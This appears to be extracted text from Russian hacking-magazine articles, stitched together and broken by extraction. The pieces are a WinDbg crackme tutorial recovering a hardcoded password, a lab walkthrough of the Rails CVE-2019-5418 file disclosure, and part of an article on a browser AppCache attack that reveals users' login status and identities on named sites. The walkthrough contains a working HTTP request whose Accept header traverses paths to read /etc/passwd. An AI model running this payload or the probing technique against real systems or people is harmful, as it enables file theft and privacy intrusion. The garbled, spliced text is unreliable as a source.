7510a8ec 8b750c         mov     esi, dword ptr [ebp+0Ch] 
7510a8ef 85f6           test    esi, esi

Мо жет  слу чить ся  так,  что  сна чала  про изой дет  «левая»  акти вация  отладчи ка.
Ее мож но про пус тить мно гок ратным нажати ем F5 до  тех пор,  пока отладчик
вновь не всплы вет на этой же фун кции. А луч ше, что бы не про пус тить нуж ный
момент, как толь ко мы попадем в  , вый ти из нее по нажатию
Shift  +  F11  и  пос мотреть,  куда  попада ем.  Если  вок руг  находят ся  вызовы
перери сов ки эле мен тов, то, зна чит, это про цеду ра перери сов ки фор мы и нам
не сюда.

GetWindowTextW

Пе рери сов ка эле мен тов:

 

 

6b08a247 0f84804f0200   je      COMCTL32!Button_DrawThemed+0x2519b 
(6b0af1cd) 
6b08a24d 57             push    edi 
6b08a24e 50             push    eax 
6b08a24f ff33           push    dword ptr [ebx] 
6b08a251 ff15c0f51d6b   call    dword ptr [COMCTL32! _GetWindowTextW 
(6b1df5c0)] 
6b08a257 8bcb           mov     ecx, ebx 
6b08a259 e80b010000     call    COMCTL32!Button_GetTextFlags (6b08a369)

imp

Ес ли же пос ле выхода из   мы попада ем в 
,  дела ем еще один  выход. Сле дуя  логике, мы

в резуль тате попада ем в обра бот чик нажатия кноп ки OK на фор ме или Enter
на кла виату ре, пря мо на пер вую строч ку при веден ного ниже лис тинга:

USER32!GetWindowTextW passCom‐
pare3!CWnd::GetWindowTextW

 

 

00ef2809 e8c6750100     call    passCompare3!CWnd::GetWindowTextW 
(00f09dd4) 
00ef280e 8b45ec         mov     eax, dword ptr [ebp‐14h] 
00ef2811 85c0           test    eax, eax 
... 
00ef284b 1bc0           sbb     eax, eax 
00ef284d 83c801         or      eax, 1 
00ef2850 8bce           mov     ecx, esi

Жмем  F10,  что бы  сде лать  шаг  впе ред  в  трас сиров ке  прог раммы.  Теперь
можем узнать зна чение в регис тре eax:

 

 

0:000> dc eax 
014a6cb8 0050004b 0043004e 004b0020 00730061  K.P.N.C. .K.a.s. 
014a6cc8 00650070 00730072 0079006b 002b002b  p.e.r.s.k.y.+.+.

Хо рошо, вве ден ный пароль, есть кон такт. Толь ко почему пос ле каж дого сим‐ 
вола сто ит  точ ка? Думаю,  ты уже догадал ся,  что она озна чает двух бай товую
при роду  сим вола  перед  ней.  Отхлеб нув  пив ка,  ква са  или  лимона да  (по
желанию),  вспо мина ем,  что,  хоть  класс    и может работать  с  типами

  (одно бай товое  пред став ление  сим волов)  и    (мно гобай товое
пред став ление  до  четырех  байт,  то  есть  юни код  в  UTF‐8,  ‐16  или  ‐32),
это зависит от нас тро ек ком пилято ра. А имен но от того, какой сим вол вклю‐ 
чен:   — char,   — wchar_t. Чаще все го исполь зует ся вто рой набор
сим волов, так как по умол чанию вклю чены имен но широкие сим волы.

CString
char wchar_t

MBCS UNICODE

Су дя по все му, где‐то рядом при таил ся эта лон ный пароль. Сде лаем пару
шагов внут ри про цеду ры. Мы попада ем на стро ку 

, которая находит ся в кон це при веден ного выше лис тинга.
00ef2850 8bce mov ecx, 

esi
Про верим содер жимое регис тра ecx:

 

 

0:000> dc ecx 
01437518 0079006d 004f0047 0044004f 00610070  m.y.G.O.O.D.p.a. 
01437528 00730073 006f0077 00640072 abab0000  s.s.w.o.r.d.....

И прав да! Инту иция нас не под вела, эта лон ный пароль тут как тут.

Ра бота при ложе ния

Из меня ем тип дан ных
А  что,  если  бы  прог раммист  для  сох ранения  вве ден ного  пароля  вос поль‐ 
зовал ся не клас сом  , а по ста рин ке — мас сивом широких сим волов

?  Давай  пос мотрим  семпл  .  Он  отли чает ся  от  пре‐ 
дыду щего  толь ко  изме нени ем  типа  дан ных  счи тыва емой  стро ки  и  исполь‐ 
зовани ем перег ружен ного метода для ее счи тыва ния:

CString
wchar_t passCompare35

wchar_t str[MAX_PASSWORD_SIZE];
…
m_password.GetWindowText(str, MAX_PASSWORD_SIZE);

Как  видишь,  у  это го метода  появил ся  параметр  раз мернос ти  стро ки,  он  же
величи на  стро ково го  буфера,  добавь  его  объ явле ние  в  начало  прог раммы:

.const int MAX_PASSWORD_SIZE = 0x666;
Нат равим  отладчик  на  исполня емый  файл.  Пос тавим  бряк  на  фун кцию

,  как  в  прош лом  при мере.  Теперь,  если  прос ледить  выпол‐ 
нение  прог раммы  пос ле  всплы тия  отладчи ка,  мы  не  обна ружим  эта лон ный
пароль на преж нем мес те.

GetWindowTextW

Что же делать? Как теперь его искать? Мы пой дем дру гим путем, но в том
же нап равле нии. Ког да мы ока жем ся в 
 пос ле вызова  , у нас уже будет счи тан ный из эле‐ 

мен та управле ния буфер, содер жащий стро ку. Если на этот буфер пос тавить
бряк, то мы доберем ся до мес та, где пароли срав нива ются.

passCompare3!CWnd::GetWindowTex‐
tW User32!GetWindowText

Вот там мы пой маем эта лон ный пароль. Но как узнать адрес буфера? Есть
по  мень шей  мере  два  пути.  Пер вый  —  вос поль зовать ся  коман дой  ,  она
выведет  стек  вызовов  всех  фун кций  с  их  парамет рами.  На  вер шине  будет
пос ледняя  выз ванная фун кция,  в  которой мы сей час  находим ся,  с  парамет‐ 
рами:

kp

 

 

 
 

 
...

0:000> kp
# ChildEBP RetAddr
00 004fe4b8 00e127c0 passCompare35!CWnd::GetWindowTextW(wchar_t * lp‐
szString = 0x004fe4d0 "KPNC Kaspersky++", int nMaxCount = 0n1638)+0x24 [
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winocc.cpp @ 255]

WinDbg с окном Locals

Вто рой спо соб — вос поль зовать ся све дени ями из окна Locals (полез ная шту‐ 
ка):  View  →  Locals.  Если  бы  прог раммист  оста вил  пароль  в  локаль ных
перемен ных  какой‐либо фун кции,  мы  бы  прос то  уви дели  его  в  окне  Locals.
Удоб но, безус ловно. Итак, адрес буфера с паролем узна ли (в тво ем слу чае он
будет дру гим), оста лось лег ким дви жени ем руки пос тавить бряк:

 

 
ba r4 0x004fe4d0

Про дол жим выпол нение. Отладчик тут же вспы хива ет сно ва в фун кции 
, пря мо на пос ледней стро‐ 

ке:

pass‐
Compare35!CpassCompare35Dlg::OnBnClickedOk

 

 

passCompare35!CpassCompare35Dlg::OnBnClickedOk: 
... 
00e127bb e805c50100   call    passCompare35!CWnd::GetWindowTextW 
(00e2ecc5) 
00e127c0 a1c4fefd00   mov     eax, dword ptr [passCompare35!PASSWORD 
(00fdfec4)] 
00e127c5 8d8d30f3ffff lea     ecx, [ebp‐0CD0h] 
00e127cb 0f1f440000   nop     dword ptr [eax+eax] 
00e127d0 668b10       mov     dx, word ptr [eax] 
00e127d3 663b11       cmp     dx, word ptr [ecx] 
00e127d6 751e         jne     
passCompare35!CpassCompare35Dlg::OnBnClickedOk+0x66 (00e127f6) [br=1] 
...

Вы делен ная стро ка и код до нее край не похожи на наш защит ный механизм.
Про верим хра нящи еся в регис трах зна чения:

 

 

 
 

 

0:000> du eax
01547af0  "myGOODpassword"
0:000> du ecx
012fe838  "KPNC Kaspersky++"

Вве ден ная  поль зовате лем  стро ка  и  эта лон ный  пароль,  как  на  блю деч ке
с голубой каемоч кой! Одно лишь изме нение типа дан ных может пре обра зить
про цесс взло ма.

За меча тель но!  Вот  так,  безо  вся ких  лож ных  сра баты ваний,  эле ган тно,
быс тро и кра сиво, мы победи ли защиту!

Этот спо соб уни вер сален, и впос ледс твии мы еще не раз им вос поль зуем‐ 
ся.  Вся  соль —  опре делить  клю чевую  фун кцию  защиты  и  пос тавить  на  нее
бряк. В Windows все попол зно вения (обра щения к клю чево му фай лу, реес тру
и  про чее)  сво дят ся  к  вызову  фун кций  API,  перечень  которых  хоть  и  велик,
но все же конечен и известен заранее.

WWW

•Ис ходные коды к при мерам в статье

mailto:yazevsoft@gmail.com
https://xakep.ru/2018/10/25/nezumi-hacking-guide-1/
https://xakep.ru/2019/02/06/nezumi-hacking-guide-3/
http://stats.hackmag.com/public/zip/213970/samples.zip
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ВЗЛОМ

Ты  навер няка  в  кур се,  что  такое  Ruby  on  Rails,  если  ког‐ 
да‐нибудь стал кивал ся с веб‐девом. Этот фрей мворк в свое
вре мя зах ватил умы раз работ чиков и успешно при меня ется
до  сих  пор.  Любая  уяз вимость  в  нем  озна чает  огромное
количес тво потен циаль ных целей. В этот раз мы пос мотрим,
как  недав но най ден ный баг  поз воля ет  читать  любые фай лы
на целевой сис теме.

Уяз вимость  име ет  номер    и  зак люча ется  в  рас кры тии  содер‐ 
жимого  фай ла  в  ком понен те  ActionView.  Спе циаль но  сфор мирован ные
заголов ки  Accept  при  выпол нении  кон трол леров,  в  которых  име ются  конс‐ 
трук ции  ,  могут  при вес ти  к  чте нию  про изволь ных  фай лов
на целевой сис теме. Уяз вимы вер сии Ruby on Rails до 5.2.1.

CVE‐2019‐5418

render  file:

СТЕНД
Де монс тра цию  уяз вимос ти  начина ем  с  конс тру иро вания  стен да.  Возь мем
обыч ный кон тей нер Docker с Debian.

$ docker run ‐‐rm ‐p3000:3000 ‐ti ‐‐name=rails ‐‐hostname=rails 
debian /bin/bash

Ус танав лива ем Ruby, Bundler и некото рые зависи мос ти.

$ apt‐get ‐y update && apt‐get install ‐y ruby bundler libsql
ite3‐dev zlibc zlib1g zlib1g‐dev

Те перь уста новим фрей мворк Rails уяз вимой вер сии, нап ример 5.2.1.

$ gem install rails ‐v 5.2.1

Да лее нуж но соз дать пап ку для тес тового про екта, а в ней Gemfile — это спи‐ 
сок того, какие гемы и каких вер сий нуж ны раз рабаты ваемо му про екту.

$ mkdir ~/test && cd "$_"
$ echo "source 'https://rubygems.org'" >> Gemfile
$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile

Те перь ска чаем и уста новим все это дело.

$ bundle install

Пос ле  этих  манипу ляций  нуж но  соз дать  при ложе ние  Rails  из  стан дар тно го
шаб лона.

$ rails new . ‐‐force ‐‐skip‐bundle

И сно ва уста новим необ ходимые гемы при помощи Bundle.

$ bundle install

При ложе ние  готово,  и  мож но  запус тить  веб‐сер вер,  что бы  про верить  его
работу.

$ rails s

Про вер ка работы Ruby on Rails

Ес ли  все  работа ет  нор маль но,  то  соз даем  новый  кон трол лер.  Назовем  его
.vuln

$ rails generate controller vuln

Фрей мворк соз даст необ ходимые фай лы в дирек тории с про ектом. Откро ем
сам  код  кон трол лера    и  добавим
в него уяз вимый код.

app/controllers/vuln_controller.rb

app/controllers/vuln_controller.rb
class VulnController < ApplicationController
 def index
   render file: "#{Rails.root}/hello"
 end

end

В качес тве пред став ления (view) мож но ука зать путь до любого фай ла. Я соз‐ 
дал файл   в кор не про екта с содер жимым «Hi there!».hello

Так же  нуж но  отре дак тировать файл  с  роута ми    и  про‐ 
писать там имя нашего кон трол лера.

config/routes.rb

config/routes.rb
Rails.application.routes.draw do
 resources :vuln

end

Сно ва запус тим веб‐сер вер.

Соз данные кон трол леры и запуск веб‐сер вера

Ес ли  теперь  ты  перей дешь  по  URI  ,  то  уви дишь  строч ку 
из фай ла  . Стенд готов.

/vuln Hi  there!
hello

Го товый стенд для тес та уяз вимос ти в Ruby on Rails

Ес ли  тебя  инте ресу ет  отладка,  то  можешь  вос поль зовать ся  уда лен ной  (c
некото рыми огра ниче ниями). Я для это го возь му  .IDE RubyMine

При  запус ке  Docker  нуж но  открыть  еще  один  порт  для  под клю чения
отладчи ка.

$ docker run ‐‐rm ‐p3000:3000 ‐p1234:1234 ‐ti ‐‐name=rails ‐‐hostname
=rails debian /bin/bash

За тем  нуж но  уста новить  на  обо их  машинах  гемы  для  дебага.  Сле ди,  что бы
они были оди нако вых вер сий.

$ gem install ruby‐debug‐ide ‐v 0.7.0.beta7
$ gem install debase ‐v 0.2.3.beta5

Ко пиру ем про ект на локаль ную машину, откры ваем его в RubyMine и добав‐ 
ляем кон фигура цию уда лен ной отладки.

До бав ление кон фигура ции уда лен ной отладки в RubyMine

Ука зыва ем  необ ходимые  нас трой ки.  Обра ти  вни мание  на  локаль ный  и  уда‐ 
лен ный пути до про екта.

Нас трой ка уда лен ной отладки в RubyMine

В поле Server command находит ся коман да, которую нуж но выпол нить на сер‐ 
вере,  что бы  начать  слу шать  порт  и  ждать  под клю чения  отладчи ка.  Вмес то

 ука зыва ем стро ку для запус ка сер вера.$COMMAND$

$ rdebug‐ide ‐‐host 0.0.0.0 ‐‐port 1234 ‐‐dispatcher‐port 26162 ‐‐ 
bin/rails s ‐b '0.0.0.0'

Те перь мож но рас став лять брейк‐пой нты и нас лаждать ся отладкой.

Уда лен ная отладка при ложе ния на Rails с помощью RubyMine

Так же ник то не меша ет отла живать на этой же машине, вооб ще не исполь зуя
Docker.

ДЕТАЛИ
В этот раз нач нем сра зу с экс пло ита, так как он очень прост. Нуж но отпра вить
зап рос на уяз вимый роут и ука зать в качес тве заголов ка   конс трук цию
c path traversal и   в кон це.

Accept
{{

GET /vuln HTTP/1.1
Host: rails.vh:3000
Connection: close
Accept: ../../../../../../../../../../etc/passwd{{

В ответ получишь содер жимое фай ла  ./etc/passwd

Ус пешная экс плу ата ция чте ния локаль ных фай лов в Ruby on Rails

Те перь раз берем ся, что при водит к такому печаль ному поведе нию. Ска чива‐ 
ем   этой вер сии Rails. Метод   может исполь зовать в качес‐ 
тве пред став ления фай лы, которые находят ся за пре дела ми дирек тории раз‐ 
рабаты ваемо го  при ложе ния.  Заг лянем  в  файл  .
При обра бот ке опции   вызыва ется метод  , что бы опре делить,
какой шаб лон будет отоб ражен.

ис ходни ки render

template_renderer.rb
file find_file

/actionview/lib/action_view/renderer/template_renderer.rb
05: module ActionView
06:   class TemplateRenderer < AbstractRenderer #:nodoc:
07:     def render(context, options)
08:       @view    = context
09:       @details = extract_details(options)
10:       template = determine_template(options)
...
22:       def determine_template(options)
...
25:         if options.key?(:body)
...
31:         elsif options.key?(:file)
32:           with_fallbacks { find_file(options[:file], nil, false, 
keys, @details) }

Пос мотрим в тело метода.

/actionview/lib/action_view/lookup_context.rb
008: module ActionView
...
016:   class LookupContext #:nodoc:
...
106:     module ViewPaths
107:       attr_reader :view_paths, :html_fallback_for_js
...
120:       def find_file(name, prefixes = [], partial = false, keys =
[], options = {})

121:         @view_paths.find_file(*args_for_lookup(name, prefixes, 
partial, keys, options))
122:       end

Продолжение статьи →

https://twitter.com/iamsecurity
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5418
https://www.jetbrains.com/ruby/
https://github.com/rails/rails/tree/v5.2.1
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

Да лее    генери рует  опции,  которые  необ ходимы  для  рен‐ 
дерин га вида.

args_for_lookup

/actionview/lib/action_view/lookup_context.rb
154:       def args_for_lookup(name, prefixes, partial, keys, detail
s_options)
155:         name, prefixes = normalize_name(name, prefixes)
156:         details, details_key = detail_args_for(details_options)
157:         [name, prefixes, partial || false, details, details_key,
keys]

158:       end

Пос ле выпол нения это го кус ка кода дан ные из заголов ка   ока зыва ются
в перемен ной  .

Accept
details[format]

Ме тод args_for_lookup помеща ет дан ные из заголов ка Accept в мас сив
details[format]

За тем вызыва ется  .@view_paths.find_file

/actionview/lib/action_view/path_set.rb
03: module ActionView #:nodoc:
...
11:   class PathSet #:nodoc:
...
51:     def find_file(path, prefixes = [], *args)
52:       _find_all(path, prefixes, args, true).first || raise(Missin
gTemplate.new(self, path, prefixes, *args))
53:     end
...
74:       def _find_all(path, prefixes, args, outside_app)
75:         prefixes = [prefixes] if String === prefixes
76:         prefixes.each do |prefix|
77:           paths.each do |resolver|
78:             if outside_app
79:               templates = resolver.find_all_anywhere(path, prefix
, *args)
...
82:             end
83:             return templates unless templates.empty?
84:           end
85:         end
86:         []
87:       end

Файл  находит ся  за  пре дела ми  дирек тории  при ложе ния  (app),  поэто му
перемен ная   уста нов лена в зна чение   и будет выз ван метод

.
outside_app True

find_all_anywhere

От ладка метода find_all из ActionView

/actionview/lib/action_view/template/resolver.rb
010: module ActionView
011:   # = Action View Resolver
012:   class Resolver
013:     # Keeps all information about view path and builds virtual 
path.
014:     class Path
...
151:     def find_all_anywhere(name, prefix, partial = false, details
= {}, key = nil, locals = [])

152:       cached(key, [name, prefix, partial], details, locals) do
153:         find_templates(name, prefix, partial, details, true)
154:       end
155:     end

Да лее  вызов    начина ет  про цесс  генера ции  пути  до  фай ла
пред став ления.

find_templates

/actionview/lib/action_view/template/resolver.rb
207:   class PathResolver < Resolver #:nodoc:
208:     EXTENSIONS = { locale: ".", formats: ".", variants: "+", 
handlers: "." }
209:     DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:
variants,}{.:handlers,}"
210:
211:     def initialize(pattern = nil)
212:       @pattern = pattern || DEFAULT_PATTERN
213:       super()
214:     end
...
218:       def find_templates(name, prefix, partial, details, outsid
e_app_allowed = false)
219:         path = Path.build(name, prefix, partial)
220:         query(path, details, details[:formats], outside_app_all
owed)
221:       end

На чало генера ции шаб лона для поис ка фай ла пред став ления

Об рати вни мание на дефол тный пат терн (стро ка 209).

:prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}

Ес ли ты легитим но обра щаешь ся к  , то готовый пат терн будет выг лядеть
при мер но так:

/vuln

hello{.{en}.}{.{.},}{+{},}{.{raw,erb,html,builder,ruby,coffee,
jbuilder},}

В  про цес се  вызыва ется  метод  ,  в  качес тве  аргу мен тов  отправ ляет ся
наша перемен ная  .

query
details[:formats]

223:       def query(path, details, formats, outside_app_allowed)
224:         query = build_query(path, details)
225:
226:         template_paths = find_template_paths(query)
...
239:         end
240:       end

Здесь  в    фор миру ется шаб лон  поис ка  пути,  из  которо го  будет
под гру жен файл пред став ления.

build_query

Ме тод build_query завер шает фор мирова ние шаб лона

/actionview/lib/action_view/template/resolver.rb
261:       def build_query(path, details)
262:         query = @pattern.dup
263:
264:         prefix = path.prefix.empty? ? "" : "#{escape_entry(path.
prefix)}\\1"
265:         query.gsub!(/:prefix(\/)?/, prefix)
266:
267:         partial = escape_entry(path.partial? ? "_#{path.name}" :
path.name)

268:         query.gsub!(/:action/, partial)
269:
270:         details.each do |ext, candidates|
271:           if ext == :variants && candidates == :any
272:             query.gsub!(/:#{ext}/, "*")
273:           else
274:             query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.
join(',')}}")
275:           end
276:         end
277:
278:         File.expand_path(query, @path)
279:       end

Бла года ря  тому  что  перемен ная    никак  не  филь тру ется,
ата кующий  име ет  воз можность  внед рять  про изволь ную  стро ку  в  фор мат
поис ка фай ла пред став ления. Исполь зуя конс трук ции  , мы осу щест вля ем
выход  из  дирек тории  и  добира емся  до  пути  ,  а  две  фигур ные
скоб ки  в  кон це  стро ки  добав ляем  для  того,  что бы  конс трук ция  получи лась
валид ная. Таким обра зом мы как бы рас ширя ем дефол тный пат терн. В ито ге,
пос ле  того  как  отра бота ет  ,  стро ка  для  поис ка  фай ла
пред став ления будет иметь вид

details[formats]

../
/etc/passwd

File.expand_path

/root/testapp/app/views/root/testapp/hello{.
en,}{.../../../../../../../../../../etc/passwd{{,}{}{.raw,.erb,.html,
.builder,.ruby,.coffee,.jbuilder,}

Даль ше методы   и   дела ют свое дело
и заг ружа ют содер жимое фай ла   во вре мя рен дерин га.

render_template render_with_layout
passwd

/actionview/lib/action_view/renderer/template_renderer.rb
49:       def render_template(template, layout_name = nil, locals = 
nil)
50:         view, locals = @view, locals || {}
51: 
52:         render_with_layout(layout_name, locals) do |layout|

От ладка метода render_template. Файл /etc/passwd исполь зует ся
в качес тве шаб лона

/actionview/lib/action_view/renderer/template_renderer.rb
59:       def render_with_layout(path, locals)
60:         layout  = path && find_layout(path, locals.keys, [formats
.first])
61:         content = yield(layout)
62: 
63:         if layout
64:           view = @view
65:           view.view_flow.set(:layout, content)
66:           layout.render(view, locals) { |*name| view._layout_for(
*name) }
67:         else
68:           content
69:         end
70:       end

Вы вод содер жимого фай ла /etc/passwd в качес тве пред став ления

Экс плу ата ция успешно завер шена.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Вот  такая  баналь ная  и  одновре мен но  опас ная  уяз вимость.  Советую  про‐ 
верить свои про екты на наличие конс трук ций вида  , и, если они
име ются, надо менять логику.

render file:

И советую обно вить Rails до пос ледних вер сий, если при ложе ние это поз‐ 
воля ет.  Раз работ чики  быс тро  отре аги рова ли  и  выпус тили    для  устра‐ 
нения этой уяз вимос ти, вер сии 5.2.1 и стар ше ее лишены.

патч

https://vimeo.com/325787991
https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715
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ВЗЛОМ

Ме ханизм  AppCache  поз воля ет  веб‐при‐ 
ложе ниям  кеширо вать  ресур сы  в  локаль‐ 
ном  хра нили ще  тво его  бра узе ра. Это  дает
им  воз можность  вза имо дей ство вать
с  тобой  даже  в  авто ном ном  режиме.
Но  ког да  через  AppCache  кеширу ются
кросс‐домен ные  ресур сы,  воз ника ет  серь‐ 
езный  риск  утеч ки  кон фиден циаль ной
информа ции.  Давай  раз берем ся,  как  это
про исхо дит.

ЧТО ТАКОЕ CORSIDA?
Аб бре виату ра CORSIDA при дума на мной и рас шифро выва ется как Cross‐Ori‐
gin  Resource  Status  Identification  Attack.  Суть  CORSIDA  зак люча ется  в  иден‐ 
тифика ции ста туса кросс‐домен ных ресур сов пос редс твом зло упот ребле ния
манифес том AppCache: URL сущес тву ет, редирект, ошиб ка.

При мер манифес та AppCache

CORSIDA  схо жа  с  .  Выпол няя  CORSIDA,  зло дей  стре мит ся  заполу чить
твою  кон фиден циаль ную  информа цию,  кос венно  хра нящу юся  в  бра узе ре.
Для  это го  ему  нуж но,  что бы  ты  посетил его  сайт,  стра ницы  которо го  слег ка
вре донос ны. И ког да я говорю «слег ка», я имею в виду, что они прак тичес ки
безобид ны. На них нет и намека на экс пло иты, которые мог ли бы помочь зло‐ 
умыш ленни ку  заполу чить  кон троль  над  тво им  бра узе ром.  Но  эти  слег ка
заражен ные  стра ницы  содер жат  впол не  допус тимые  теги  HTML  и  скрип ты
для  инклу дин га  кросс‐домен ного  кон тента. Иден тифици ровать  зло наме рен‐ 
ное поведе ние такого вре донос ного сай та воз можно, но очень слож но.

CSRF

INFO

Ата ка  CORSIDA  пос тро ена  на  зло упот ребле нии
механиз мом  ,  который  сов ремен ные  бра‐ 
узе ры  исполь зуют,  что бы  дать  веб‐стра ницам
воз можность получать дос туп к ресур сам дру гого
домена.

CORS

ЧЕМ ОПАСНА CORSIDA
Зло дей  может  исполь зовать  базовую  вер сию  CORSIDA,  что бы  опре делить,
сох ранен ли в тво ем бра узе ре логин и пароль веб‐при ложе ния. Час то, ког да
ты  заходишь  на  свою  лич ную  стра ницу,  то  или  иное  при ложе ние  дела ет
условный  редирект:  если  в  бра узе ре  нет  логина  и  пароля,  то  про исхо дит
редирект на стра ницу залоги нива ния, а если есть, то не про исхо дит.

Вот нес коль ко популяр ных сай тов, которые работа ют по такому прин ципу.

Лич ная стра ница Ус ловный редирект

https://www.amazon.com/gp/wallet?
ie=UTF8&ref_=ya_wallet

https://www.amazon.com/ap/signin?...

http://my.ebay.com/ws/eBayISAPI.dll?
MyeBay

https://signin.ebay.com/ws/eBayIS‐
API.dll?SignIn...

https://instagram.com/accounts/edit/
https://instagram.com/accounts/login/?
next=/accounts/edit/

https://sourceforge.net/projects/filezilla/r
eviews/new

https://sourceforge.net/account/lo‐
gin.php?return_to=...

http://www.tumblr.com/dashboard
https://www.tmblr.com/login?
redirect_to=/dashboard

http://wordpress.com/post/
http://wordpress.com/wp‐login.php?
redirect_to=...

https://www.yelp.com/profile_bio
https://www.yelp.com/login?
retun_url=/profile_bio

http://www.youtube.com/feed/subscrip‐
tions

https://accounts.google.com/ServiceLo‐
gin?...

Ес ли  в  бра узе ре  есть  логин  и  пароль  для  кон крет ного  веб‐при ложе ния,  то
про цеду ра  кеширо вания  соот ветс тву юще го  URL  про ходит  успешно,  потому
что  редирект  не  выпол няет ся.  Если  же  логина  и  пароля  нет,  то  про цеду ра
кеширо вания  завер шает ся  неуда чей.  Поэто му,  наб людая  за  тем,  где  про‐ 
цеду ра  AppCache  окан чива ется  успе хом,  а  где  неуда чей,  зло дей  может
узнать,  для  каких  веб‐при ложе ний  в  тво ем  бра узе ре  логин  и  пароль  сох‐ 
ранены, а для каких нет. Бла года ря это му он может выяс нить, есть ли у тебя
дос туп  к  при ват ным  стра ницам  кон крет ных  ком паний,  уни вер ситетов,  соци‐ 
аль ных сооб ществ.

Кро ме того, зон дируя адре са URL вро де тех, что пред став лены ниже, пос‐ 
торон ний человек может уста новить твою лич ность — если твой иден тифика‐ 
тор при сутс тву ет в его спис ке.

https://bitbucket.org/account/user/• <userid>

https://github.com/ /• <userid> /settings
http://stackovertlow.com/users/edit/• <userid>

http://twitpic.com/media/edit/Location/• <photoid>

http:// .wordpress.com/wp‐admin• <blogid>

https://ndss2015.ccs.neu.edu/paper/• <paperno>

Зло дей  может  опре делить  сфе ры  тво их  пред почте ний,  наб людая  за  тем,
на кого ты под писан в соци аль ных сетях и в каких груп пах ты сос тоишь. Рас‐ 
смот рим напос ледок такие популяр ные плат формы, как Tumblr и Flickr.

Ког да твой бра узер, находясь под CORSIDA, посеща ет 
, зло дей узна ет, под писан ли ты на блог с иден‐ 

тифика тором  . Каким обра зом? Отсле живая факт редирек та. Если
ты  под писан  на  этот  блог,  твой  бра узер  сде лает  редирект  на 

  и,  соот ветс твен но,  про цесс  AppCache
завер шится неуда чей.

http://www.tum‐
blr.com/follow/<blog‐id>

<blog‐id>
http://www.

tumbler.com/unfollow/<blog‐id>

Ана логич но мож но  узнать,  в  каких  груп пах  ты  сос тоишь на  Flickr.  Если  ты
прой дешь  по  URL 

,  зло дей  узна ет,  явля ешь ся  ли  ты  чле ном  груп пы  с  иден тифика тором 
. Если нет, твой бра узер сде лает редирект на 

, а если да, то редирект не про изой дет.

http://www.flickr.com/groups_leave.gne?id=<group‐
id>
group‐id http://www.fiickr.
com/groups/<group‐id>

Уни каль ные осо бен ности
1. CORSIDA  может  извле кать  твою  кон фиден циаль ную  информа цию
без исполь зования вре донос ных скрип тов, пла гинов и CSS. Ата ка реали‐ 
зует ся при помощи прос тей шего докумен та HTML, в манифес те AppCache
которо го ука зыва ется зон диру емый URL. CORSIDA успешно пре одо лева ет
тра дици онные  средс тва  безопас ности,  вро де  ,  пос коль ку  отклю‐ 
чение подоз ритель ных скрип тов и пла гинов ей не пре пятс тву ет.

NoScript

2. CORSIDA может одновре мен но иден тифици ровать ста тус сра зу нес коль‐ 
ких  адре сов  URL.  Это  для  зло умыш ленни ка  очень  важ но.  Потому  что  он
всег да  стре мит ся  выведать  твои  сек реты  как  мож но  быс трее,  пос коль ку
зна ет,  что  ты,  ско рее  все го,  не  задер жишь ся  на  его  стра нице  надол го.
Тра дици онные  ата ки  подоб ного  рода  осно ваны  на  тай мин гах,  поэто му
не могут одновре мен но зон дировать сра зу нес коль ко URL. Парал лель ные
зап росы  HTTP  и  HTTPS  при водят  к  ошиб кам  син хро низа ции.  CORSIDA
фун кци они рует,  не  полага ясь  на  тай минг,  и  поэто му  может  парал лель но
зон дировать сра зу нес коль ко URL.

3. Так же  эта  ата ка  может  отсле живать  редирек ты.  Тра дици онные  ата ки
подоб ного рода, осно ван ные на тай мин гах, такой воз можнос ти не име ют,
пос коль ку  для  зон дирова ния  ста туса  URL  опи рают ся  на  теги  вро де  ,

 и  , которые совер шают редирект проз рачно для поль зовате‐ 
ля.

img

script link

WWW

По читать  под робнее  о  тай мин гах  мож но  , 
и  .

тут тут
тут

МОДИФИКАЦИИ БАЗОВОЙ АТАКИ
Ата ка с исполь зовани ем скрип та
Ес ли,  обра баты вая  спи сок  адре сов  URL,  перечис ленных  в  манифес те  App‐
Cache,  твой бра узер  встре чает  хотя бы один некеши руемый,  он  генери рует
событие  .  Так  зло умыш ленник  узна ет,  есть  ли сре ди этих URL  хотя бы
один  некеши руемый:  если  скрипт  дож дался  это го  события —  как  минимум
один такой URL есть.

error

Скрипт для зон дирова ния кеширу емос ти URL

INFO

В AppCache не кеширу ются три типа URL: недей‐ 
стви тель ные, динами чес кие и с редирек тами.

Ата ка без исполь зования скрип та
1. Ког да ты заходишь через бра узер на вре донос ную стра ницу, которая зло‐ 
наме рилась  про вес ти  про тив  тебя  CORSIDA,  стра ница  фик сиру ет
информа цию о тво ем бра узе ре.

2. Твой бра узер ска чива ет манифест AppCache и извле кает из него URL.
3. Да лее твой бра узер пыта ется получить дос туп к это му URL.
4. Ес ли обра щение к это му URL увен чалось успе хом, твой бра узер пов торно
ска чива ет манифест, что бы про верить, не было ли изме нений.

Пос ледова тель ность шагов для дей стви тель ного URL

Ес ли же тво ему бра узе ру не уда ется про кеши ровать ука зан ный в манифес те
URL,  он  обры вает  выпол нение  про цеду ры  AppCache  и  не  перезаг ружа ет
манифест.

Пос ледова тель ность шагов для недей стви тель ного URL

На осно ве раз личий на этом чет вертом шаге зло дей дела ет вывод, может ли
твой бра узер кеширо вать URL, ука зан ный в манифес те.

Па рал лель ная ата ка по нес коль ким URL
Пос коль ку CORSIDA не зависит от тай мин гов, как тра дици онные ата ки подоб‐ 
ного рода, зло умыш ленник может одновре мен но зон дировать сра зу нес коль‐ 
ко URL, исполь зуя для это го нес коль ко веб‐стра ниц и манифес тов AppCache,
находя щих ся в нес коль ких тегах  .iframe

Па рал лель ная ата ка по нес коль ким URL

Глав ная стра ница ата ки   содер жит нес коль ко скры тых тегов
,  каж дый  из  которых  ука зыва ет  на  стра ницу  субата ки 

 Обра ти вни мание, целевые адре са URL здесь переда ются
через GET.

attack_all.php
iframe

.attack_each.php

attack_all.php

attack_each.php

Каж дая стра ница субата ки объ явля ет  свой собс твен ный манифест — 
.

mani‐
fest.php

manifest.php

